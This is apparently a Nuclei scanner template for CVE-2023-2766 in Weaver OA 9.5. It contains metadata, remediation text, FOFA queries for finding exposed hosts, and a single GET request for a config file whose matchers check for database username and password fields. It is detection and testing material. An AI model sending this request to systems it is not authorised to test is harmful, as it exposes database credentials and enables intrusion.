id: CVE-2023-2766

info:
  name: Weaver OA 9.5 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  reference:
    - https://github.com/8079048q/cve/blob/main/weaveroa.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2766
    - https://vuldb.com/?ctiid.229271
    - https://vuldb.com/?id.229271
    - https://github.com/Vme18000yuan/FreePOC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2766
    cwe-id: CWE-552
    epss-score: 0.54232
    epss-percentile: 0.98876
    cpe: cpe:2.3:a:weaver:weaver_office_automation:9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: weaver_office_automation
    fofa-query:
      - app="泛微-EOffice"
      - app="泛微-eoffice"
  tags: cve,cve2023,weaver,eoffice,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/plain")'
          - 'contains_all(body, "sdbuser =","sdbpassword =")'
        condition: and
# digest: 490a0046304402202103629fee1d95162a0db3fa4d5af3baa9ed37127d8db22aea0c4c7a53e1278a02206c5eb51f28d5abd660bf3fb5d6ab857ee1628ed7abfa2f2e598f23863378808c:922c64590222798bb761d5b6d8e72950